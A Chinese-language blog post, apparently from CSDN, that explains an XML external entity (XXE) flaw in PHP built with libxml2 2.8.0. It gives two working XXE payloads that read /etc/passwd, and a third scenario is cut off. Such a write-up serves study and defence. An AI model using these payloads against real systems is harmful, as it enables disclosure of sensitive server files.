PHP环境 XML外部实体注入漏洞(XXE)

本文介绍了PHP环境中的XML外部实体注入(XXE)漏洞,详细阐述了漏洞描述、风险等级及影响版本。提供三种漏洞复现场景,包括dom.php、SimpleXMLElement.php和simplexml_load_string.php的简单XXEPayload,并给出基础环境链接。建议使用libxml2.8.0以上版本并禁用外部实体解析,或在PHP中通过函数过滤来防止XXE攻击。
摘要由CSDN通过智能技术生成

PHP环境 XML外部实体注入漏洞(XXE)

漏洞描述:

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

风险等级:

影响版本:

libxml2.8.0版本

漏洞复现:

[1] dom.php 读取敏感文件
Simple XXE Payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

[2] SimpleXMLElement.php 读取敏感文件
Simple XXE Payload:

<?xml version="1.0"?>
<!DOCTYPE xxe[
  <!ELEMENT name ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>
<name>&xxe;</name>
</xxe>

[3]simplexml_load_string.php 读取敏感文件
Simple

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值